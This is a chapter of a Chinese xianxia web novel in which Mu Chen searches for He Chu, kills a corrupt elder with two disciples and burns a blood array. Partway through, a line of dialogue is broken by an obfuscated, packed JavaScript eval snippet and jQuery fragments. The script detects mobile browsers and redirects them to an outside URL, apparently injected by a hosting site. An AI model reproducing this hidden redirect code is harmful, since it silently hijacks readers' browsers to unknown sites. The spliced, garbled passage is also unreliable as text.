16. 夜伴红尘染风霜

作品:《故人归否

    “在下看二位道友衣着不凡,莫非出自哪家的大门大派?”


    那师弟心眼子少,很容易就被套话:“我们正是出自鸿琛堂。”


    慕沉面露惊喜之色,接着试探:“太好了。其实不瞒二位,在下的远房表弟也在鸿琛堂,此番前来还有一个目的就是探亲。”


    “探亲?”那师兄目光一凛,防备更深。


    “是,探亲。”慕沉接着笑说,“据说他还是鸿琛堂的大师兄,不知你们是否听说过?他叫——”


    说时迟那时快,慕沉还没念出“何初”这个名字,他二人便拔剑向他刺来。


    慕沉迅速躲开,三人瞬间开始二打一的局面。


    不过他并不想浪费时间和精力在这上面,自从离开绝音阁后,慕沉就逐渐减少耐心,很快他就趁其不备将那名师弟挟持,剑锋架在对方脖子上。


    慕沉意味不明笑了笑,开口:“二位是何意?看来我这位‘远房表弟’在门派中人缘不好啊。”


    “放开他!”那师兄对慕沉大喊。


    “可以。”慕沉无所谓地笑了笑,“带我去找何初,不要惊动任何人。”


    “……好。我带你去,别伤他。”


    “自然。”慕沉二话不说将剑收回剑鞘,看着二人,警告似的看着他们,“希望你们能安分些,我的剑没长眼睛。”


    那名师弟不自觉缩了缩自己的脖子。


    路上他才知道,那师兄叫沈别宇,师弟叫莫池开。


    深夜中,鸿琛堂一副死气沉沉的氛围,任谁来了都要打个寒颤。这里阴气重得跟乱葬岗不相上下,根本不似一个正常的门派。


    他皱着眉,目光不由得看向这两个师兄弟。


    他们没有察觉慕沉的目光,探手探脚地在前面带路。将慕沉带到一个极为隐蔽的小阁楼后,终于停下。


    沈别宇呼了口气,看着慕沉,示意道:“大师兄就在里面。”


    慕沉观望一番,没有回应,盯着对方反问:“鸿琛堂,在做什么见不得人的勾当?”


    沈别宇面色一沉,皱着眉看向他。


    慕沉刚刚尝试与何初传音,没有听到回应。而这种情况无非两种原因:两人相隔十万八千里,或者法术屏障。


    他私下尝试催动法力,并无阻碍。那显然不是第二种。


    他一步一步靠近二人,神色晦暗,不动声色将剑柄握紧了几分,冷笑着开口:“骗我?”


    “你……”二人自知不是慕沉对手,不自觉后退。


    “你们抛尸之时,我正巧碰上。你们门派的事我尚且管不着,只要告诉我何初在什么地方,今天晚上的事我就当作没看到。”他淡淡地说。


    一场无声的对峙拉开帷幕,双方都握紧了手中的剑,有各自的思量。不过慕沉有种不怕死的精神,气场十足,僵持了一会儿,对方终于败下阵。


    这时,莫池开叹气,似乎是妥协,亦或是怕他真做出什么不利己的事,率先开口:“大师兄不在这里。”


    “池开!”沈别宇低喝一声,拉住对方的手,似乎想阻拦他。


    莫池开无声对师兄摇了摇头。末了,沈别宇终是也叹了口气。


    “什么?”慕沉愣了一下,有些不相信。


    “大师兄不在这里。”对方又重复一遍,语气笃定,不似作伪。


    “那他在哪?”慕沉接着问。


    “我们也不知。这里只不过是鸿琛堂小小的一支,也许他在总堂。”


    不过一个门派,竟有总部分支一说,倒是让慕沉有些措手不及。


    “总堂在何处?”


    “不知。”此话二人倒是同时开口。


    他二人答的倒是爽快。慕沉蹙眉,“为什么,你们不是门内弟子吗?”


    “我们身在一隅,不过是普通弟子,自然是无权知道。”面对他的追问,沈别宇也是万般无奈,可事实如此,纵使慕沉想知道更多也不能。


    既然线索断了,慕沉自然不会多待,他正要离开此处,二人欲挽留之际,突然传来一个人声:“别宇,池开,这么晚了,你们来这里做甚,还带着一位生人?”


    此声很有压迫之感,听着就像阅历丰富的长辈。慕沉转头,作出防备架势,只见一位气场十足的中年男子缓缓走来,深夜的阴影下看不清此人的眼神,听着语气像是在质问他们。


    “单长老,我——”沈别宇正欲解释什么。


    姓单?难道是绝音阁的什么人?慕沉来不及细想,对面这位长老带着杀意朝他砍来,随即慕沉敏捷躲开,与对方来回打斗。


    “长老姓单,可与绝音阁有什么关系?”慕沉躲闪问着,不知对方底细,不想产生正面冲突。


    语毕,单长老停下对他的攻击,神色不明地问:“你是何人?”


    “回长老,他是来找大师兄的。”沈别宇抢先回答。


    慕沉皱眉,沈别宇说这话便让他确定了这位单长老并不是他要找的人。


    单长老嗤笑一声,面色不善开口:“既然是来找他的,那就不是一路人!”说着,再次拔剑朝他攻击。


    “那真是可惜了。”慕沉眼神一暗,不再躲闪,与之正面对抗。


    两人约莫交锋了一刻钟,双方实力竟几乎不相上下,单长老好歹是个资历深厚的长老,却也只是让他受了点皮毛伤,跟他刚来这里时相比武功可谓一飞冲天了。


    单长老消耗过甚,渐渐力不从心,似乎也没料到眼前这人能与他僵持不下,连忙瞪了旁边那两个没眼力见的师兄弟,没好气喊道:“你们俩还愣着干什么?还不过来帮忙!”


    俩师兄弟无声对视一眼,纷纷拔剑,加入这场战斗。


    这场混战形成三打一的局面。


    只是,单长老始料不及,自己竟然成为众矢之的,怒骂道:“你们两个要造反吗!”


    无人应答,只有更加凌厉的剑意,想要置之于死地。


    这场混战,终是以沈别宇把剑架在单长老脖颈处结束。


    沈、莫二人猝不及防的反水,料是慕沉也不知何意。不过横竖对他来说都没什么坏处。


    “你们两个叛徒!”单长老怒极,连咳了几声,全然不顾形象,一个劲的瞪着沈别宇,刚要开口,便脖子一凉,已是见血封喉,一句话也说不出。


    沈别宇挑剑一抹,单长老脖子顿时多出一道血痕,似乎没想到对方会那么干脆,鲜血喷涌而出,单长老在不甘和愤怒之下渐渐没了生机。


    这个过程快得让慕沉恍惚了一下,一旁的莫池开更是冷漠地看着。


    末了,沈别宇慢条斯理地擦了擦剑上的血迹,附加一句:“死有余辜。”


    三人沉默了半晌,不知话从何出。最终还是慕沉先开口:“看来你们等这一天很久了。”


    师兄弟二人神情从未有过的轻松。


    “


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14760996|157740||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    没错。”莫池开说。


    二人不知为何渐渐放下对慕沉的防备,带他走进这隐蔽的楼阁之中。


    楼阁中确实不见何初,而是一个充满密咒秘语,纷杂繁乱的血阵。或许,这便是鸿琛堂的勾当。


    “此阵原为复生阵,是用来救治濒死的子弟。”沈别宇垂了眼眸,对他解释,“后来,就变成如今这番,嗜血如常的诡阵,凡入阵者,没有一个能从此阵活着出去。”


    “如此邪魔外道,竟然不封起来?”慕沉问。


    “这便是长老们贪心不足了。他们将人当作祭阵者,不断修改阵法形态。起初是死人,后来连门内弟子都不放过,如今这个堂内已经不超过十人。”沈别宇平静地说,仿佛已经习惯。


    “各地的鸿琛堂都是如此吗?”慕沉皱眉。


    莫池开点了点头,“总堂有过之而无不及。至于他们究竟要做什么,我们这些做弟子的根本无权过问,只能看着一个个师兄弟不断被除名。我与师兄能存活至今全仰仗师兄足智多谋。”


    沈别宇面色复杂地拍了拍莫池开的肩。


    慕沉往单长老的方向望,淡淡开口:“看来确实是死有余辜。”


    难怪先前何初阻止他入门派,直接是救了他一命。原来数年前鸿琛堂开始做这种诡秘之事了吗。


    “对了,”慕沉想起来,“这个单长老跟绝音阁有什么关系?”


    “关系匪浅。”沈别宇严肃地回答,“他必然跟绝音阁阁主有鸡鸣狗盗之事。”所以刚才才故意抢先回答,目的就是激怒单长老。


    “那你知,绝音阁前任阁主现在何处?”


    沈别宇愣了一下,随即说:“如今的阁主是不会留一个祸患的。”


    他沉思了一会儿,不知接下来该做什么,转身打算离开。


    “等等!”师兄弟二人同时挽留。


    慕沉疑惑地看着他们。如今门派中唯一的主使已经死了,就算总堂知晓也必定会成为弃子,是去是留皆由他们意,“还有什么事吗?”


    “此阵祸害人间,不知何解?”莫池开问。


    他想了想,问:“此阵有什么忌讳吗?”


    “……有。五行。”


    “五行?怎么会有阵避开五行?”他刚说完便恍然大悟,“也对。五行相生相克,此阵违背了伦理纲常,为世间所不容。如此便简单了。”


    说完,慕沉打了个响指,一簇火苗瞬间点着此阵,有愈演愈烈的趋势。


    将它烧了,就是最好的办法。


    出了楼阁,大火瞬间将其淹没,曾经的罪恶也将埋藏在此。


    二人是从未有过的轻松。沈别宇神情愉悦地看着慕沉,说了一句:“看来‘他’没骗我。”


    “什么?”慕沉感到莫名。


    “‘他’告诉我,会有一个人来解决这里的一切。‘他’说的那个人‘或许’是你。”


    “‘他’是谁?”慕沉闻言皱眉,楼阁火海印在他的眼眸,被埋藏的不仅仅是罪恶,还有“真相”。


    他来此处从来只有一个目的。或许他们二人从一开始对他的防备是假,试探是真。若自己真是“那人”所说之人,那么此人必然知道何初与他之间的关系。


    “你们会再见的。”沈别宇不再说更多。


    “罢了。”末了,慕沉看着即将烧成灰烬的地方,冷漠地留下一句:“死不足惜。”而后头也不回地离开。